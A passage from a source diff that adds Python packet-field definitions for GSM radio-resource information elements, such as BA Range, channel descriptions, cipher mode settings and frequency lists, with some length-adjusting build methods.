+    """ PD and SAPI $(CCBS)$  Section 10.5.1.10a """
+    name = "PD and SAPI $(CCBS)$"
+    fields_desc = [
+             BitField("eightBitPAS", None, 1),
+             XBitField("ieiPAS", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("sapi", 0x0, 2),
+             BitField("pd", 0x0, 4)
+             ]
+
+
+class PriorityLevelHdr(Packet):
+    """ Priority Level Section 10.5.1.11 """
+    name = "Priority Level"
+    fields_desc = [
+             XBitField("ieiPL", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("callPrio", 0x0, 3)
+             ]
+
+#
+# Radio Resource management information elements
+#
+
+
+# len 6 to max for L3 message (251)
+class BaRangeHdr(Packet):
+    """ BA Range Section 10.5.2.1a """
+    name = "BA Range"
+    fields_desc = [
+             BitField("eightBitBR", None, 1),
+             XBitField("ieiBR", None, 7),
+
+             XByteField("lengthBR", None),
+#error: byte format requires -128 <= number <= 127
+             ByteField("nrOfRanges", 0x0),
+#              # rX = range X
+#              # L o = Lower H i = higher
+#              # H p = high Part Lp = low Part
+             ByteField("r1LoHp", 0x0),
+
+             BitField("r1LoLp", 0x0, 3),
+             BitField("r1HiHp", 0x0, 5),
+
+             BitField("r1HiLp", 0x0, 4),
+             BitField("r2LoHp", 0x0, 4),
+             # optional
+             BitField("r2LoLp", None, 5),
+             BitField("r2HiHp", None, 3),
+
+             ByteField("r2HiLp", None),
+             ByteField("r3LoHp", None),
+
+             BitField("r3LoLp", None, 5),
+             BitField("r3HiHp", None, 3),
+
+             ByteField("r3HiLp", None),
+             ByteField("r4LoHp", None),
+
+             BitField("r4LoLp", None, 5),
+             BitField("r4HiHp", None, 3),
+             ByteField("r4HiLp", None),
+             ByteField("r5LoHp", None),
+
+             BitField("r5LoLp", None, 5),
+             BitField("r5HiHp", None, 3),
+             ByteField("r5HiLp", None),
+             ByteField("r6LoHp", None),
+
+             BitField("r6LoLp", None, 5),
+             BitField("r6HiHp", None, 3),
+             ByteField("r6HiLp", None),
+             ByteField("r7LoHp", None),
+
+             BitField("r7LoLp", None, 5),
+             BitField("r7HiHp", None, 3),
+             ByteField("r7HiLp", None),
+             ByteField("r8LoHp", None),
+
+             BitField("r8LoLp", None, 5),
+             BitField("r8HiHp", None, 3),
+             ByteField("r8HiLp", None),
+             ByteField("r9LoHp", None),
+
+             BitField("r9LoLp", None, 5),
+             BitField("r9HiHp", None, 3),
+             ByteField("r9HiLp", None),
+             ByteField("r10LoHp", None),
+
+             BitField("r10LoLp", None, 5),
+             BitField("r10HiHp", None, 3),
+             ByteField("r10HiLp", None),
+             ByteField("r11LoHp", None),
+
+             BitField("r11LoLp", None, 5),
+             BitField("r11HiHp", None, 3),
+             ByteField("r11HiLp", None),
+             ByteField("r12LoHp", None),
+
+             BitField("r12LoLp", None, 5),
+             BitField("r12HiHp", None, 3),
+             ByteField("r12HiLp", None),
+             ByteField("r13LoHp", None),
+
+             BitField("r13LoLp", None, 5),
+             BitField("r13HiHp", None, 3),
+             ByteField("r13HiLp", None),
+             ByteField("r14LoHp", None),
+
+             BitField("r14LoLp", None, 5),
+             BitField("r14HiHp", None, 3),
+             ByteField("r14HiLp", None),
+             ByteField("r15LoHp", None),
+
+             BitField("r15LoLp", None, 5),
+             BitField("r15HiHp", None, 3),
+             ByteField("r15HiLp", None),
+             ByteField("r16LoHp", None),
+
+             BitField("r16LoLp", None, 5),
+             BitField("r16HiHp", None, 3),
+             ByteField("r16HiLp", None),
+             ByteField("r17LoHp", None),
+
+             BitField("r17LoLp", None, 5),
+             BitField("r17HiHp", None, 3),
+             ByteField("r17HiLp", None),
+             ByteField("r18LoHp", None),
+
+             BitField("r18LoLp", None, 5),
+             BitField("r18HiHp", None, 3),
+             ByteField("r18HiLp", None),
+             ByteField("r19LoHp", None),
+
+             BitField("r19LoLp", None, 5),
+             BitField("r19HiHp", None, 3),
+             ByteField("r19HiLp", None),
+             ByteField("r20LoHp", None),
+
+             BitField("r20LoLp", None, 5),
+             BitField("r20HiHp", None, 3),
+             ByteField("r20HiLp", None),
+             ByteField("r21LoHp", None),
+
+             BitField("r21LoLp", None, 5),
+             BitField("r21HiHp", None, 3),
+             ByteField("r21HiLp", None),
+             ByteField("r22LoHp", None),
+
+             BitField("r22LoLp", None, 5),
+             BitField("r22HiHp", None, 3),
+             ByteField("r22HiLp", None),
+             ByteField("r23LoHp", None),
+
+             BitField("r23LoLp", None, 5),
+             BitField("r23HiHp", None, 3),
+             ByteField("r23HiLp", None),
+             ByteField("r24LoHp", None),
+
+             BitField("r24LoLp", None, 5),
+             BitField("r24HiHp", None, 3),
+             ByteField("r24HiLp", None),
+             ByteField("r25LoHp", None),
+
+             BitField("r25LoLp", None, 5),
+             BitField("r25HiHp", None, 3),
+             ByteField("r25HiLp", None),
+             ByteField("r26LoHp", None),
+
+             BitField("r26LoLp", None, 5),
+             BitField("r26HiHp", None, 3),
+             ByteField("r26HiLp", None),
+             ByteField("r27LoHp", None),
+
+             BitField("r27LoLp", None, 5),
+             BitField("r27HiHp", None, 3),
+             ByteField("r27HiLp", None),
+             ByteField("r28LoHp", None),
+
+             BitField("r28LoLp", None, 5),
+             BitField("r28HiHp", None, 3),
+             ByteField("r28HiLp", None),
+             ByteField("r29LoHp", None),
+
+             BitField("r29LoLp", None, 5),
+             BitField("r29HiHp", None, 3),
+             ByteField("r29HiLp", None),
+             ByteField("r30LoHp", None),
+
+             BitField("r30LoLp", None, 5),
+             BitField("r30HiHp", None, 3),
+             ByteField("r30HiLp", None),
+             ByteField("r31LoHp", None),
+
+             BitField("r31LoLp", None, 5),
+             BitField("r31HiHp", None, 3),
+             ByteField("r31HiLp", None),
+             ByteField("r32LoHp", None),
+
+             BitField("r32LoLp", None, 5),
+             BitField("r32HiHp", None, 3),
+             ByteField("r32HiLp", None),
+             ByteField("r33LoHp", None),
+
+             BitField("r33LoLp", None, 5),
+             BitField("r33HiHp", None, 3),
+             ByteField("r33HiLp", None),
+             ByteField("r34LoHp", None),
+
+             BitField("r34LoLp", None, 5),
+             BitField("r34HiHp", None, 3),
+             ByteField("r34HiLp", None),
+             ByteField("r35LoHp", None),
+
+             BitField("r35LoLp", None, 5),
+             BitField("r35HiHp", None, 3),
+             ByteField("r35HiLp", None),
+             ByteField("r36LoHp", None),
+
+             BitField("r36LoLp", None, 5),
+             BitField("r36HiHp", None, 3),
+             ByteField("r36HiLp", None),
+             ByteField("r37LoHp", None),
+
+             BitField("r37LoLp", None, 5),
+             BitField("r37HiHp", None, 3),
+             ByteField("r37HiLp", None),
+             ByteField("r38LoHp", None),
+
+             BitField("r38LoLp", None, 5),
+             BitField("r38HiHp", None, 3),
+             ByteField("r38HiLp", None),
+             ByteField("r39LoHp", None),
+
+             BitField("r39LoLp", None, 5),
+             BitField("r39HiHp", None, 3),
+             ByteField("r39HiLp", None),
+             ByteField("r40LoHp", None),
+
+             BitField("r40LoLp", None, 5),
+             BitField("r40HiHp", None, 3),
+             ByteField("r40HiLp", None),
+             ByteField("r41LoHp", None),
+
+             BitField("r41LoLp", None, 5),
+             BitField("r41HiHp", None, 3),
+             ByteField("r41HiLp", None),
+             ByteField("r42LoHp", None),
+
+             BitField("r42LoLp", None, 5),
+             BitField("r42HiHp", None, 3),
+             ByteField("r42HiLp", None),
+             ByteField("r43LoHp", None),
+
+             BitField("r43LoLp", None, 5),
+             BitField("r43HiHp", None, 3),
+             ByteField("r43HiLp", None),
+             ByteField("r44LoHp", None),
+
+             BitField("r44LoLp", None, 5),
+             BitField("r44HiHp", None, 3),
+             ByteField("r44HiLp", None),
+             ByteField("r45LoHp", None),
+
+             BitField("r45LoLp", None, 5),
+             BitField("r45HiHp", None, 3),
+             ByteField("r45HiLp", None),
+             ByteField("r46LoHp", None),
+
+             BitField("r46LoLp", None, 5),
+             BitField("r46HiHp", None, 3),
+             ByteField("r46HiLp", None),
+             ByteField("r47LoHp", None),
+
+             BitField("r47LoLp", None, 5),
+             BitField("r47HiHp", None, 3),
+             ByteField("r47HiLp", None),
+             ByteField("r48LoHp", None),
+
+             BitField("r48LoLp", None, 5),
+             BitField("r48HiHp", None, 3),
+             ByteField("r48HiLp", None),
+             ByteField("r49LoHp", None),
+
+             BitField("r49LoLp", None, 5),
+             BitField("r49HiHp", None, 3),
+             ByteField("r49HiLp", None),
+             ByteField("r50LoHp", None),
+
+             BitField("r50LoLp", None, 5),
+             BitField("r50HiHp", None, 3),
+             ByteField("r50HiLp", None),
+             ByteField("r51LoHp", None),
+
+             BitField("r51LoLp", None, 5),
+             BitField("r51HiHp", None, 3),
+             ByteField("r51HiLp", None),
+             ByteField("r52LoHp", None),
+
+             BitField("r52LoLp", None, 5),
+             BitField("r52HiHp", None, 3),
+             ByteField("r52HiLp", None),
+             ByteField("r53LoHp", None),
+
+             BitField("r53LoLp", None, 5),
+             BitField("r53HiHp", None, 3),
+             ByteField("r53HiLp", None),
+             ByteField("r54LoHp", None),
+
+             BitField("r54LoLp", None, 5),
+             BitField("r54HiHp", None, 3),
+             ByteField("r54HiLp", None),
+             ByteField("r55LoHp", None),
+
+             BitField("r55LoLp", None, 5),
+             BitField("r55HiHp", None, 3),
+             ByteField("r55HiLp", None),
+             ByteField("r56LoHp", None),
+
+             BitField("r56LoLp", None, 5),
+             BitField("r56HiHp", None, 3),
+             ByteField("r56HiLp", None),
+             ByteField("r57LoHp", None),
+
+             BitField("r57LoLp", None, 5),
+             BitField("r57HiHp", None, 3),
+             ByteField("r57HiLp", None),
+             ByteField("r58LoHp", None),
+
+             BitField("r58LoLp", None, 5),
+             BitField("r58HiHp", None, 3),
+             ByteField("r58HiLp", None),
+             ByteField("r59LoHp", None),
+
+             BitField("r59LoLp", None, 5),
+             BitField("r59HiHp", None, 3),
+             ByteField("r59HiLp", None),
+             ByteField("r60LoHp", None),
+
+             BitField("r60LoLp", None, 5),
+             BitField("r60HiHp", None, 3),
+             ByteField("r60HiLp", None),
+             ByteField("r61LoHp", None),
+
+             BitField("r61LoLp", None, 5),
+             BitField("r61HiHp", None, 3),
+             ByteField("r61HiLp", None),
+             ByteField("r62LoHp", None),
+
+             BitField("r62LoLp", None, 5),
+             BitField("r62HiHp", None, 3),
+             ByteField("r62HiLp", None),
+             ByteField("r63LoHp", None),
+
+             BitField("r63LoLp", None, 5),
+             BitField("r63HiHp", None, 3),
+             ByteField("r63HiLp", None),
+             ByteField("r64LoHp", None),
+
+             BitField("r64LoLp", None, 5),
+             BitField("r64HiHp", None, 3),
+             ByteField("r64HiLp", None),
+             ByteField("r65LoHp", None),
+
+             BitField("r65LoLp", None, 5),
+             BitField("r65HiHp", None, 3),
+             ByteField("r65HiLp", None),
+             ByteField("r66LoHp", None),
+
+             BitField("r66LoLp", None, 5),
+             BitField("r66HiHp", None, 3),
+             ByteField("r66HiLp", None),
+             ByteField("r67LoHp", None),
+
+             BitField("r67LoLp", None, 5),
+             BitField("r67HiHp", None, 3),
+             ByteField("r67HiLp", None),
+             ByteField("r68LoHp", None),
+
+             BitField("r68LoLp", None, 5),
+             BitField("r68HiHp", None, 3),
+             ByteField("r68HiLp", None),
+             ByteField("r69LoHp", None),
+
+             BitField("r69LoLp", None, 5),
+             BitField("r69HiHp", None, 3),
+             ByteField("r69HiLp", None),
+             ByteField("r70LoHp", None),
+
+             BitField("r70LoLp", None, 5),
+             BitField("r70HiHp", None, 3),
+             ByteField("r70HiLp", None),
+             ByteField("r71LoHp", None),
+
+             BitField("r71LoLp", None, 5),
+             BitField("r71HiHp", None, 3),
+             ByteField("r71HiLp", None),
+             ByteField("r72LoHp", None),
+
+             BitField("r72LoLp", None, 5),
+             BitField("r72HiHp", None, 3),
+             ByteField("r72HiLp", None),
+             ByteField("r73LoHp", None),
+
+             BitField("r73LoLp", None, 5),
+             BitField("r73HiHp", None, 3),
+             ByteField("r73HiLp", None),
+             ByteField("r74LoHp", None),
+
+             BitField("r74LoLp", None, 5),
+             BitField("r74HiHp", None, 3),
+             ByteField("r74HiLp", None),
+             ByteField("r75LoHp", None),
+
+             BitField("r75LoLp", None, 5),
+             BitField("r75HiHp", None, 3),
+             ByteField("r75HiLp", None),
+             ByteField("r76LoHp", None),
+
+             BitField("r76LoLp", None, 5),
+             BitField("r76HiHp", None, 3),
+             ByteField("r76HiLp", None),
+             ByteField("r77LoHp", None),
+
+             BitField("r77LoLp", None, 5),
+             BitField("r77HiHp", None, 3),
+             ByteField("r77HiLp", None),
+             ByteField("r78LoHp", None),
+
+             BitField("r78LoLp", None, 5),
+             BitField("r78HiHp", None, 3),
+             ByteField("r78HiLp", None),
+             ByteField("r79LoHp", None),
+
+             BitField("r79LoLp", None, 5),
+             BitField("r79HiHp", None, 3),
+             ByteField("r79HiLp", None),
+             ByteField("r80LoHp", None),
+
+             BitField("r80LoLp", None, 5),
+             BitField("r80HiHp", None, 3),
+             ByteField("r80HiLp", None),
+             ByteField("r81LoHp", None),
+
+             BitField("r81LoLp", None, 5),
+             BitField("r81HiHp", None, 3),
+             ByteField("r81HiLp", None),
+             ByteField("r82LoHp", None),
+
+             BitField("r82LoLp", None, 5),
+             BitField("r82HiHp", None, 3),
+             ByteField("r82HiLp", None),
+             ByteField("r83LoHp", None),
+
+             BitField("r83LoLp", None, 5),
+             BitField("r83HiHp", None, 3),
+             ByteField("r83HiLp", None),
+             ByteField("r84LoHp", None),
+
+             BitField("r84LoLp", None, 5),
+             BitField("r84HiHp", None, 3),
+             ByteField("r84HiLp", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(6, 251, a, self.fields_desc)
+        if self.lengthBR is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 3 to max for L3 message (251)
+class BaListPrefHdr(Packet):
+    """ BA List Pref Section 10.5.2.1c """
+    name = "BA List Pref"
+    fields_desc = [
+             # FIXME dynamic
+             BitField("eightBitBLP", None, 1),
+             XBitField("ieiBLP", None, 7),
+
+             XByteField("lengthBLP", None),
+
+             BitField("fixBit", 0x0, 1),
+             BitField("rangeLower", 0x0, 10),
+             BitField("fixBit2", 0x0, 1),
+             BitField("rangeUpper", 0x0, 10),
+             BitField("baFreq", 0x0, 10),
+             BitField("sparePad", 0x0, 8)
+             ]
+
+
+# len 17 || Have a look at the specs for the field format
+# Bit map 0 format
+# Range 1024 format
+# Range  512 format
+# Range  256 format
+# Range  128 format
+# Variable bit map format
+class CellChannelDescriptionHdr(Packet):
+    """ Cell Channel Description  Section 10.5.2.1b """
+    name = "Cell Channel Description "
+    fields_desc = [
+             BitField("eightBitCCD", None, 1),
+             XBitField("ieiCCD", None, 7),
+             BitField("bit128", 0x0, 1),
+             BitField("bit127", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+             ByteField("bit120", 0x0),
+             ByteField("bit112", 0x0),
+             ByteField("bit104", 0x0),
+             ByteField("bit96", 0x0),
+             ByteField("bit88", 0x0),
+             ByteField("bit80", 0x0),
+             ByteField("bit72", 0x0),
+             ByteField("bit64", 0x0),
+             ByteField("bit56", 0x0),
+             ByteField("bit48", 0x0),
+             ByteField("bit40", 0x0),
+             ByteField("bit32", 0x0),
+             ByteField("bit24", 0x0),
+             ByteField("bit16", 0x0),
+             ByteField("bit8", 0x0)
+             ]
+
+
+class CellDescriptionHdr(Packet):
+    """ Cell Description  Section 10.5.2.2 """
+    name = "Cell Description"
+    fields_desc = [
+             BitField("eightBitCD", None, 1),
+             XBitField("ieiCD", None, 7),
+             BitField("bcchHigh", 0x0, 2),
+             BitField("ncc", 0x0, 3),
+             BitField("bcc", 0x0, 3),
+             ByteField("bcchLow", 0x0)
+             ]
+
+
+class CellOptionsBCCHHdr(Packet):
+    """ Cell Options (BCCH)  Section 10.5.2.3 """
+    name = "Cell Options (BCCH)"
+    fields_desc = [
+             BitField("eightBitCOB", None, 1),
+             XBitField("ieiCOB", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("pwrc", 0x0, 1),
+             BitField("dtx", 0x0, 2),
+             BitField("rLinkTout", 0x0, 4)
+             ]
+
+
+class CellOptionsSACCHHdr(Packet):
+    """ Cell Options (SACCH) Section 10.5.2.3a """
+    name = "Cell Options (SACCH)"
+    fields_desc = [
+             BitField("eightBitCOS", None, 1),
+             XBitField("ieiCOS", None, 7),
+             BitField("dtx", 0x0, 1),
+             BitField("pwrc", 0x0, 1),
+             BitField("dtx", 0x0, 1),
+             BitField("rLinkTout", 0x0, 4)
+             ]
+
+
+class CellSelectionParametersHdr(Packet):
+    """ Cell Selection Parameters Section 10.5.2.4 """
+    name = "Cell Selection Parameters"
+    fields_desc = [
+             BitField("eightBitCSP", None, 1),
+             XBitField("ieiCSP", None, 7),
+             BitField("cellReselect", 0x0, 3),
+             BitField("msTxPwrMax", 0x0, 5),
+             BitField("acs", None, 1),
+             BitField("neci", None, 1),
+             BitField("rxlenAccMin", None, 6)
+             ]
+
+
+class MacModeAndChannelCodingRequestHdr(Packet):
+    """ MAC Mode and Channel Coding Requested Section 10.5.2.4a """
+    name = "MAC Mode and Channel Coding Requested"
+    fields_desc = [
+             XBitField("ieiMMACCR", None, 4),
+             BitField("macMode", 0x0, 2),
+             BitField("cs", 0x0, 2)
+             ]
+
+
+class ChannelDescriptionHdr(Packet):
+    """ Channel Description  Section 10.5.2.5 """
+    name = "Channel Description"
+    fields_desc = [
+             BitField("eightBitCD", None, 1),
+             XBitField("ieiCD", None, 7),
+
+             BitField("channelTyp", 0x0, 5),
+             BitField("tn", 0x0, 3),
+
+             BitField("tsc", 0x0, 3),
+             BitField("h", 0x1, 1),
+             # if h=1 maybe we find a better solution here...
+             BitField("maioHi", 0x0, 4),
+
+             BitField("maioLo", 0x0, 2),
+             BitField("hsn", 0x0, 6)
+             #BitField("spare", 0x0, 2),
+             #BitField("arfcnHigh", 0x0, 2),
+             #ByteField("arfcnLow", 0x0)
+             ]
+
+
+class ChannelDescription2Hdr(Packet):
+    """ Channel Description 2 Section 10.5.2.5a """
+    name = "Channel Description 2"
+    fields_desc = [
+             BitField("eightBitCD2", None, 1),
+             XBitField("ieiCD2", None, 7),
+             BitField("channelTyp", 0x0, 5),
+             BitField("tn", 0x0, 3),
+             BitField("tsc", 0x0, 3),
+             BitField("h", 0x0, 1),
+             # if h=1
+             # BitField("maioHi", 0x0, 4),
+             # BitField("maioLo", 0x0, 2),
+             # BitField("hsn", 0x0, 6)
+             BitField("spare", 0x0, 2),
+             BitField("arfcnHigh", 0x0, 2),
+             ByteField("arfcnLow", 0x0)
+             ]
+
+
+class ChannelModeHdr(Packet):
+    """ Channel Mode Section 10.5.2.6 """
+    name = "Channel Mode"
+    fields_desc = [
+             BitField("eightBitCM", None, 1),
+             XBitField("ieiCM", None, 7),
+             ByteField("mode", 0x0)
+             ]
+
+
+class ChannelMode2Hdr(Packet):
+    """ Channel Mode 2 Section 10.5.2.7 """
+    name = "Channel Mode 2"
+    fields_desc = [
+             BitField("eightBitCM2", None, 1),
+             XBitField("ieiCM2", None, 7),
+             ByteField("mode", 0x0)
+             ]
+
+
+class ChannelNeededHdr(Packet):
+    """ Channel Needed Section 10.5.2.8 """
+    name = "Channel Needed"
+    fields_desc = [
+             XBitField("ieiCN", None, 4),
+             BitField("channel2", 0x0, 2),
+             BitField("channel1", 0x0, 2),
+             ]
+
+
+class ChannelRequestDescriptionHdr(Packet):
+    """Channel Request Description  Section 10.5.2.8a """
+    name = "Channel Request Description"
+    fields_desc = [
+             BitField("eightBitCRD", None, 1),
+             XBitField("ieiCRD", None, 7),
+             BitField("mt", 0x0, 1),
+             ConditionalField(BitField("spare", 0x0, 39),
+                              lambda pkt: pkt.mt == 0),
+             ConditionalField(BitField("spare", 0x0, 3),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(BitField("priority", 0x0, 2),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(BitField("rlcMode", 0x0, 1),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(BitField("llcFrame", 0x1, 1),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("reqBandMsb", 0x0),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("reqBandLsb", 0x0),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("rlcMsb", 0x0),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("rlcLsb", 0x0),
+                              lambda pkt: pkt.mt == 1)
+             ]
+
+
+class CipherModeSettingHdr(Packet):
+    """Cipher Mode Setting Section 10.5.2.9 """
+    name = "Cipher Mode Setting"
+    fields_desc = [
+             XBitField("ieiCMS", None, 4),
+             BitField("algoId", 0x0, 3),
+             BitField("sc", 0x0, 1),
+             ]
+
+
+class CipherResponseHdr(Packet):
+    """Cipher Response Section 10.5.2.10 """
+    name = "Cipher Response"
+    fields_desc = [
+             XBitField("ieiCR", None, 4),
+             BitField("spare", 0x0, 3),
+             BitField("cr", 0x0, 1),
+             ]
+
+
+# This  packet fixes the problem with the 1/2 Byte length. Concatenation
+# of cipherModeSetting and cipherResponse
+class CipherModeSettingAndcipherResponse(Packet):
+    name = "Cipher Mode Setting And Cipher Response"
+    fields_desc = [
+             BitField("algoId", 0x0, 3),
+             BitField("sc", 0x0, 1),
+             BitField("spare", 0x0, 3),
+             BitField("cr", 0x0, 1)
+             ]
+
+
+class ControlChannelDescriptionHdr(Packet):
+    """Control Channel Description Section 10.5.2.11 """
+    name = "Control Channel Description"
+    fields_desc = [
+             BitField("eightBitCCD", None, 1),
+             XBitField("ieiCCD", None, 7),
+
+             BitField("spare", 0x0, 1),
+             BitField("att", 0x0, 1),
+             BitField("bsAgBlksRes", 0x0, 3),
+             BitField("ccchConf", 0x0, 3),
+
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("spare3", 0x0, 1),
+             BitField("spare4", 0x0, 1),
+             BitField("bsPaMfrms", 0x0, 3),
+
+             ByteField("t3212", 0x0)
+             ]
+
+
+class FrequencyChannelSequenceHdr(Packet):
+    """Frequency Channel Sequence Section 10.5.2.12"""
+    name = "Frequency Channel Sequence"
+    fields_desc = [
+             BitField("eightBitFCS", None, 1),
+             XBitField("ieiFCS", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("lowestArfcn", 0x0, 7),
+             BitField("skipArfcn01", 0x0, 4),
+             BitField("skipArfcn02", 0x0, 4),
+             BitField("skipArfcn03", 0x0, 4),
+             BitField("skipArfcn04", 0x0, 4),
+             BitField("skipArfcn05", 0x0, 4),
+             BitField("skipArfcn06", 0x0, 4),
+             BitField("skipArfcn07", 0x0, 4),
+             BitField("skipArfcn08", 0x0, 4),
+             BitField("skipArfcn09", 0x0, 4),
+             BitField("skipArfcn10", 0x0, 4),
+             BitField("skipArfcn11", 0x0, 4),
+             BitField("skipArfcn12", 0x0, 4),
+             BitField("skipArfcn13", 0x0, 4),
+             BitField("skipArfcn14", 0x0, 4),
+             BitField("skipArfcn15", 0x0, 4),
+             BitField("skipArfcn16", 0x0, 4)
+             ]
+
+
+class FrequencyListHdr(Packet):
+    """Frequency List Section 10.5.2.13"""
+    name = "Frequency List"
+ # Problem:
+ # There are several formats for the Frequency List information
+ # element, distinguished by the "format indicator" subfield.
+ # Some formats are frequency bit maps, the others use a special encoding
+ # scheme.
+    fields_desc = [
+             BitField("eightBitFL", None, 1),
+             XBitField("ieiFL", None, 7),
+             XByteField("lengthFL", None),
+
+             BitField("formatID", 0x0, 2),
+             BitField("spare", 0x0, 2),
+             BitField("arfcn124", 0x0, 1),
+             BitField("arfcn123", 0x0, 1),
+             BitField("arfcn122", 0x0, 1),
+             BitField("arfcn121", 0x0, 1),
+
+             ByteField("arfcn120", 0x0),
+             ByteField("arfcn112", 0x0),
+             ByteField("arfcn104", 0x0),
+             ByteField("arfcn96", 0x0),
+             ByteField("arfcn88", 0x0),
+             ByteField("arfcn80", 0x0),
+             ByteField("arfcn72", 0x0),
+             ByteField("arfcn64", 0x0),
+             ByteField("arfcn56", 0x0),
+             ByteField("arfcn48", 0x0),
+             ByteField("arfcn40", 0x0),
+             ByteField("arfcn32", 0x0),
+             ByteField("arfcn24", 0x0),
+             ByteField("arfcn16", 0x0),
+             ByteField("arfcn8", 0x0)
+             ]
+
+
+class FrequencyShortListHdr(Packet):
+    """Frequency Short List Section 10.5.2.14"""
+    name = "Frequency Short List"
+# len is 10
+#This element is encoded exactly as the Frequency List information element,
+#except that it has a fixed length instead of a
+#variable length and does not contain a length indicator and that it
+#shall not be encoded in bitmap 0 format.
+    fields_desc = [
+             ByteField("ieiFSL", 0x0),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0)
+             ]
+
+
+class FrequencyShortListHdr2(Packet):
+    """Frequency Short List2 Section 10.5.2.14a"""
+    name = "Frequency Short List 2"
+    fields_desc = [
+             ByteField("byte1", 0x0),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0)
+             ]
+
+
+# len 4 to 13
+class GroupChannelDescriptionHdr(Packet):
+    """Group Channel Description Section 10.5.2.14b"""
+    name = "Group Channel Description"
+    fields_desc = [
+             BitField("eightBitGCD", None, 1),
+             XBitField("ieiGCD", None, 7),
+
+             XByteField("lengthGCD", None),
+
+             BitField("channelType", 0x0, 5),
+             BitField("tn", 0x0, 3),
+
+             BitField("tsc", 0x0, 3),
+             BitField("h", 0x0, 1),
+             # if  h == 0 the  packet looks the following way:
+             ConditionalField(BitField("spare", 0x0, 2),
+                              lambda pkt: pkt. h == 0x0),
+             ConditionalField(BitField("arfcnHi", 0x0, 2),
+                              lambda pkt: pkt. h == 0x0),
+             ConditionalField(ByteField("arfcnLo", None),
+                              lambda pkt: pkt. h == 0x0),
+             # if  h == 1 the  packet looks the following way:
+             ConditionalField(BitField("maioHi", 0x0, 4),
+                              lambda pkt: pkt. h == 0x1),
+             ConditionalField(BitField("maioLo", None, 2),
+                              lambda pkt: pkt. h == 0x1),
+             ConditionalField(BitField("hsn", None, 6),
+                              lambda pkt: pkt. h == 0x1),
+             # finished with conditional fields
+             ByteField("maC6", None),
+             ByteField("maC7", None),
+             ByteField("maC8", None),
+             ByteField("maC9", None),
+             ByteField("maC10", None),
+             ByteField("maC11", None),
+             ByteField("maC12", None),
+             ByteField("maC13", None),
+             ByteField("maC14", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 13, a, self.fields_desc)
+        if self.lengthGCD is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class GprsResumptionHdr(Packet):
+    """GPRS Resumption  Section 10.5.2.14c"""
+    name = "GPRS Resumption"
+    fields_desc = [
+             XBitField("ieiGR", None, 4),
+             BitField("spare", 0x0, 3),
+             BitField("ack", 0x0, 1)
+             ]
+
+
+class HandoverReferenceHdr(Packet):
+    """Handover Reference Section 10.5.2.15"""
+    name = "Handover Reference"
+    fields_desc = [
+             BitField("eightBitHR", None, 1),
+             XBitField("ieiHR", None, 7),
+             ByteField("handoverRef", 0x0)
+             ]
+
+
+# len 1-12
+class IaRestOctets(Packet):
+    """IA Rest Octets Section 10.5.2.16"""
+    name = "IA Rest Octets"
+    fields_desc = [
+             ByteField("ieiIRO", 0x0),
+             # FIXME brainfuck  packet
+             XByteField("lengthIRO", None),
+             ByteField("byte2", None),
+             ByteField("byte3", None),
+             ByteField("byte4", None),
+             ByteField("byte5", None),
+             ByteField("byte6", None),
+             ByteField("byte7", None),
+             ByteField("byte8", None),
+             ByteField("byte9", None),
+             ByteField("byte10", None),
+             ByteField("byte11", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 12, a, self.fields_desc)
+        if self.lengthIRO is None:
+            if res[1] < 0: # FIXME better fix
+                res[1] = 0
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class IraRestOctetsHdr(Packet):
+    """IAR Rest Octets Section 10.5.2.17"""
+    name = "IAR Rest Octets"
+    fields_desc = [
+             BitField("eightBitIRO", None, 1),
+             XBitField("ieiIRO", None, 7),
+             BitField("spare01", 0x0, 1),
+             BitField("spare02", 0x0, 1),
+             BitField("spare03", 0x1, 1),
+             BitField("spare04", 0x0, 1),
+             BitField("spare05", 0x1, 1),
+             BitField("spare06", 0x0, 1),
+             BitField("spare07", 0x1, 1),
+             BitField("spare08", 0x1, 1),
+             BitField("spare09", 0x0, 1),
+             BitField("spare10", 0x0, 1),
+             BitField("spare11", 0x1, 1),
+             BitField("spare12", 0x0, 1),
+             BitField("spare13", 0x1, 1),
+             BitField("spare14", 0x0, 1),
+             BitField("spare15", 0x1, 1),
+             BitField("spare16", 0x1, 1),
+             BitField("spare17", 0x0, 1),
+             BitField("spare18", 0x0, 1),
+             BitField("spare19", 0x1, 1),
+             BitField("spare20", 0x0, 1),
